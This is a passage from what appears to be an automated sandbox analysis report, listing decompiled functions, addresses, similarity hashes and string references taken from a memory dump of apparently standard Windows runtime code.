						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E015B9860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x015f51be
0x015f51c3
0x015f51c8
0x015f51cd
0x015f51d0
0x015f51d3
0x015f51d8
0x015f51db
0x015f51de
0x015f51e0
0x015f51e3
0x015f51e6
0x015f51e8
0x015f5342
0x015f5351
0x015f5356
0x015f535a
0x015f5360
0x015f5363
0x015f5366
0x015f5369
0x015f5369
0x015f536b
0x015f536b
0x015f5370
0x015f53a3
0x015f53a4
0x015f53a6
0x015f53ab
0x015f53ab
0x015f53ae
0x015f53ae
0x015f53b5
0x015f53bf
0x015f53bf
0x015f5375
0x015f5396
0x015f53a0
0x015f53a0
0x00000000
0x015f5396
0x015f5377
0x015f5379
0x015f537f
0x015f538c
0x015f5390
0x00000000
0x015f5390
0x015f51ee
0x015f51f1
0x015f5301
0x015f5310
0x015f5315
0x015f5318
0x015f531b
0x015f5320
0x015f532e
0x015f5331
0x00000000
0x015f5331
0x015f5328
0x015f5329
0x00000000
0x015f5329
0x015f51fa
0x015f5235
0x015f5236
0x015f5239
0x015f523f
0x015f5240
0x015f5241
0x015f5242
0x015f5246
0x015f5247
0x015f524e
0x015f5251
0x015f5267
0x015f5269
0x015f526e
0x015f527d
0x015f527e
0x015f5281
0x015f5282
0x015f5287
0x015f5288
0x015f528a
0x015f528f
0x015f5294
0x00000000
0x00000000
0x015f529a
0x015f529c
0x015f529e
0x015f529e
0x015f52a4
0x015f52b0
0x00000000
0x00000000
0x015f52ba
0x015f52bc
0x015f52bc
0x015f52d4
0x015f52d9
0x015f52dc
0x015f52e1
0x00000000
0x00000000
0x015f52e7
0x015f52f4
0x00000000
0x015f52f4
0x015f5270
0x00000000
0x015f5270
0x015f51fc
0x015f51fd
0x015f5202
0x015f5203
0x015f5205
0x015f520a
0x015f520f
0x00000000
0x00000000
0x015f521b
0x015f5226
0x015f522b
0x015f521d
0x015f521d
0x015f5222
0x015f5222
0x015f522d
0x00000000

Strings

UEFI, xrefs: 015F521D
Legacy, xrefs: 015F5226

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: af82ad4969c138b4376482490e14722bd78e2168332a3a90bc2badb1f9c5a37d
Instruction ID: 55e2ee4a0adfd5bad2bb2b639d71f44e8252790b51fa644253a82cd616832333
Opcode Fuzzy Hash: af82ad4969c138b4376482490e14722bd78e2168332a3a90bc2badb1f9c5a37d
Instruction Fuzzy Hash: 57515DB5E106099FDB24DFA8C990BADBBF9FF48700F14442DE649EF291E6719901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0159B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0159B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x166d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E01597D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E01648CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E015B9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E015BB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E015BCE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E01597D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E01648F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E015BAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x1668628; // 0x0
								_v68 = _t77;
								_t78 =  *0x166862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x1668628; // 0x0
							_t116 =  *0x166862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x0159b94c
0x0159b956
0x0159b95c
0x0159b95e
0x0159b964
0x0159b969
0x0159b96d
0x0159b96d
0x0159b970
0x0159b974
0x0159b97a
0x0159badf
0x0159badf
0x0159bae2
0x0159bae4
0x0159bae6
0x0159baf0
0x015e2cb8
0x0159baf6
0x0159baf6
0x0159baf6
0x0159bafd
0x0159bb1f
0x0159bb1f
0x0159baff
0x0159bb00
0x0159bb00
0x0159bb03
0x0159bb03
0x0159bacb
0x0159bacf
0x0159bad0
0x0159bad1
0x0159badc
0x0159badc
0x0159b980
0x0159b980
0x0159b988
0x0159b98b
0x0159b98d
0x0159b990
0x0159b993
0x0159b999
0x0159b99b
0x0159b9a1
0x0159b9a5
0x0159b9aa
0x0159b9b0
0x0159b9bb
0x0159b9c0
0x0159b9c3
0x0159b9ca
0x0159b9cc
0x0159b9cf
0x0159b9d3
0x0159b9d7
0x0159ba94
0x0159ba94
0x0159ba98
0x0159baa3
0x015e2ccb
0x0159baa9
0x0159baa9
0x0159baa9
0x0159bab1
0x015e2cd5
0x015e2cdd
0x015e2cdd
0x0159babb
0x0159babc
0x0159bac2
0x0159bac3
0x0159bac3
0x0159bac6
0x00000000
0x0159b9dd
0x0159b9dd
0x0159b9e7
0x0159b9e7
0x0159b9ec
0x0159b9ec
0x0159b9f1
0x0159b9f5
0x0159b9fa
0x0159ba00
0x0159ba0c
0x0159ba10
0x0159ba10
0x0159ba12
0x0159ba18
0x00000000
0x00000000
0x0159bb26
0x0159bb26
0x0159ba1e
0x0159ba1e
0x0159ba23
0x0159ba25
0x0159ba2c
0x0159ba30
0x0159ba35
0x0159ba35
0x0159ba41
0x0159ba46
0x0159ba4c
0x0159ba50
0x0159ba54
0x0159ba6a
0x0159ba6e
0x0159ba70
0x0159ba74
0x0159ba78
0x0159ba7a
0x0159ba7c
0x0159ba8e
0x0159ba90
0x0159ba92
0x0159bb14
0x0159bb14
0x0159bb16
0x0159bb16
0x00000000
0x0159ba7c
0x0159bb0a
0x0159bb0d
0x00000000
0x00000000
0x00000000
0x0159bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0159B9A5

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: e91fef4047ffff228b3d57dfa94a2fe3bdae098d9959790414eb1d18f3a24e32
Instruction ID: 331f1b4b258aa4a24b8584e49e252ea48a0a9ac0498899aac055505f57e7cf19
Opcode Fuzzy Hash: e91fef4047ffff228b3d57dfa94a2fe3bdae098d9959790414eb1d18f3a24e32
Instruction Fuzzy Hash: 45515871A18341CFDB20CF69D48092ABBF9FB88600F14896EE6869B355D775E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0157B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0157B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x164f7a8);
				E015CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E015CD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E015BD000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E015BF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L015CDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E015BB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E015BB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E015BE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E015BA890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x0157b171
0x0157b171
0x0157b171
0x0157b171
0x0157b171
0x0157b176
0x0157b17b
0x0157b180
0x0157b186
0x0157b18f
0x0157b198
0x0157b1a4
0x0157b1aa
0x015d4802
0x015d4802
0x015d4805
0x015d480c
0x015d480e
0x0157b1d1
0x0157b1d3
0x0157b1de
0x0157b1de
0x015d4817
0x015d481e
0x015d4820
0x015d4822
0x015d4822
0x015d4824
0x015d4824
0x015d482a
0x00000000
0x00000000
0x015d4835
0x015d483a
0x015d483d
0x015d483f
0x015d4842
0x015d4842
0x015d4842
0x015d4846
0x015d484c
0x015d484e
0x015d4851
0x015d4851
0x015d4853
0x015d4854
0x015d4854
0x015d4858
0x015d485a
0x015d485a
0x015d485d
0x015d485f
0x015d4861
0x015d4861
0x015d4866
0x015d486b
0x015d486e
0x015d4871
0x015d4876
0x015d4876
0x015d4878
0x015d487b
0x015d4884
0x015d4884
0x00000000
0x015d487d
0x015d487d
0x015d4882
0x015d4889
0x015d4889
0x015d488f
0x015d4891
0x015d48e0
0x015d48e2
0x015d48e4
0x015d48e4
0x015d48e7
0x015d48e7
0x015d48ed
0x015d48f4
0x015d48f6
0x015d4951
0x015d4951
0x015d4953
0x015d4953
0x015d4956
0x015d4956
0x015d4958
0x015d4959
0x015d4959
0x015d495d
0x015d495d
0x015d495f
0x015d495f
0x015d4965
0x015d4969
0x015d49ba
0x015d49ba
0x015d49c1
0x015d49c5
0x015d49cc
0x015d49d4
0x015d49d7
0x015d49da
0x015d49e4
0x015d49e5
0x015d49f3
0x015d4a02
0x00000000
0x015d4a02
0x015d4972
0x015d4974
0x00000000
0x00000000
0x015d4976
0x015d4979
0x015d4982
0x015d4983
0x015d4984
0x015d498b
0x015d498d
0x015d4991
0x015d4993
0x015d4999
0x015d499d
0x015d49a2
0x015d49a2
0x015d49a2
0x015d4999
0x015d49ac
0x00000000
0x015d49b3
0x015d48f8
0x015d48fe
0x00000000
0x00000000
0x00000000
0x015d48fe
0x015d4895
0x015d489c
0x015d48ad
0x015d48b2
0x015d48b5
0x015d48b7
0x015d48ba
0x015d48bc
0x015d48c6
0x015d48c6
0x015d48cb
0x015d48d1
0x015d48d4
0x015d48d8
0x015d48d8
0x00000000
0x015d48d8
0x015d48be
0x015d48c0
0x00000000
0x00000000
0x015d48c2
0x00000000
0x00000000
0x00000000
0x015d48c4
0x00000000
0x015d4882
0x015d487b
0x015d4904
0x015d4906
0x00000000
0x00000000
0x015d4908
0x015d490e
0x00000000
0x00000000
0x015d4910
0x015d4917
0x015d4917
0x00000000
0x015d4917
0x0157b1ba
0x015d47f9
0x015d47fc
0x00000000
0x00000000
0x00000000
0x015d47fc
0x0157b1c0
0x0157b1c0
0x0157b1c3
0x0157b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 015D48AD

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: e8f99c5fc5c818eb4803a2d44fa763d91ccfdb5b075d9ead5f0d735248061d00
Instruction ID: 315838139dd9ad3b58003d6a8ec4181ffd626e4516eb344b410d154e1bb05cdc
Opcode Fuzzy Hash: e8f99c5fc5c818eb4803a2d44fa763d91ccfdb5b075d9ead5f0d735248061d00
Instruction Fuzzy Hash: 4451CE71D0025A8EEB35CF6CC886BAEBBB0BF44750F1441ADE859AFA82D7714941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 015A2581, Relevance: 1.6, Strings: 1, Instructions: 329COMMON

Download Yara Rule

Strings

PATH, xrefs: 015A2642, 015A2691

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: fd6c7a861b17e03647f6fc71e1b301f6de8142cbdda3e6264f9a4a744a663c1e
Instruction ID: 8aabccebf46dffc1d0288456c74143ae2cb849032605edd96fa46320dbe3ab2d
Opcode Fuzzy Hash: fd6c7a861b17e03647f6fc71e1b301f6de8142cbdda3e6264f9a4a744a663c1e
Instruction Fuzzy Hash: B1C1A1B5D5121ADFDB25DFA8DC82AADBBF5FF48700F444419E901AF250E734A941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 015AFAB0, Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 015EBE0F

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: c9ef44a006cdc14dde6c6630620e8922dbce80926b52b9dc829dfdddb4221759
Instruction ID: 71e7b626f1892191f4976559aa091551f74967361dcf11bfe6bc8fac3fcb9368
Opcode Fuzzy Hash: c9ef44a006cdc14dde6c6630620e8922dbce80926b52b9dc829dfdddb4221759
Instruction Fuzzy Hash: 0DA12271B406068FEB26DF69C864B7EB7F5BF48711F04496AEA42DF681DB30D8018B90

Uniqueness

Uniqueness Score: -1.00%

Function 01572D8A, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 015CFA4A

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: fbd3493ab0078bb8504905d026f122a03862d3667180737901141f48406e3ba3
Instruction ID: 78659aa5f78eaf4610ae30df4ccf7a329003cc8abd5c9335563b002efc4c958a
Opcode Fuzzy Hash: fbd3493ab0078bb8504905d026f122a03862d3667180737901141f48406e3ba3
Instruction Fuzzy Hash: F9612471A006059FDB32DFACDC81B7EBBE6FB44B14F144AAAD9119F2C1C77499018791

Uniqueness

Uniqueness Score: -1.00%

Function 01640EA5, Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

`, xrefs: 01640F16

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 8601da31c5d2ae11af29a75241feba5ec104486e1f579ed087456a9b7efe3f40
Instruction ID: 8cba3629b796edc3f2a3dec4e68a1362591742ffe64e8cdcf1d1b1142a2be6a2
Opcode Fuzzy Hash: 8601da31c5d2ae11af29a75241feba5ec104486e1f579ed087456a9b7efe3f40
Instruction Fuzzy Hash: 38518D713043829FE325DF28DC84B5BBBE5EBC5604F04092DFA9697290DB71E846CB66

Uniqueness

Uniqueness Score: -1.00%

Function 015AF0BF, Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

@, xrefs: 015AF124

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: ea5fe89b5d85fac5e6fe326cb589735a8d6e478256f000dc343398752e15b67e
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 82518171504712AFC321DF19C841A6BBBF5FF88714F00492EFA959B690E7B4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015F3540, Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

BinaryHash, xrefs: 015F358F

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 12afd7f2ca0df0525953521569eee5562d6d5a1e85490a7d6f993ee1616f2a55
Instruction ID: 8b7270c1a63b8017fe1e07bfcd72043f4cc926a0ac3f83b8b7a2a3171879b111
Opcode Fuzzy Hash: 12afd7f2ca0df0525953521569eee5562d6d5a1e85490a7d6f993ee1616f2a55
Instruction Fuzzy Hash: C74125F1D0152E9AEB619A54CC84FDEB77CBB54714F0045A9EB09AF240DB709E88CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 016405AC, Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

`, xrefs: 01640633

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 690c59e40783fc4440ae5b9be1941bd43185584d5e8ee39df7f8671597b2eee2
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: 1731F132204326ABE720DE28CD84F9B7BDAAFC4754F144229FB59DB280D770E904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 015F3884, Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

BinaryName, xrefs: 015F38B4

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 4c808ebbd65613f2b28c5290ff1fa9edefef4eedd19949a5bbf33235f3b1d98b
Instruction ID: 047b44f768e0eadf51aee18db31db99432901793a9a84055e23d2ee8f8360fad
Opcode Fuzzy Hash: 4c808ebbd65613f2b28c5290ff1fa9edefef4eedd19949a5bbf33235f3b1d98b
Instruction Fuzzy Hash: AA31C372D0151AAFEB55DE58CA45E6FBBB4FB80B20F01416DEA15AF251D7309E00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 015AD294, Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 015AD303

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 2b460f431e156fe710f2886ed9dad6253f654d1719f5be413fcba54d5e164610
Instruction ID: dfb2f55da33901b3a55f5cb27fd1c7b750a5d43508700910373e6720741d03a0
Opcode Fuzzy Hash: 2b460f431e156fe710f2886ed9dad6253f654d1719f5be413fcba54d5e164610
Instruction Fuzzy Hash: 7331BEB15883069FC711EF68C8809AFBBF8FBD9654F40092EF9958B610D634DD04CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01581B8F, Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 01581BC5

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 8ddefc79933f26121f41db4d84226323b204ceea4d4396bd2538223d94597cc3
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: A121C876501919AFDB32AA5DC8C0F5F7BADBF85655F054425FE04EF200D630DD029BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0159F716, Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

Actx , xrefs: 0159F73F

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: c28f43ca53d5d97adc9019cd4cea553ef45a5298d5621738975ba3a690791f28
Instruction ID: a4b27d214dd32d2304a6dc0f3458fa125652ffcfd32868b9457c4c1f8b59f2e4
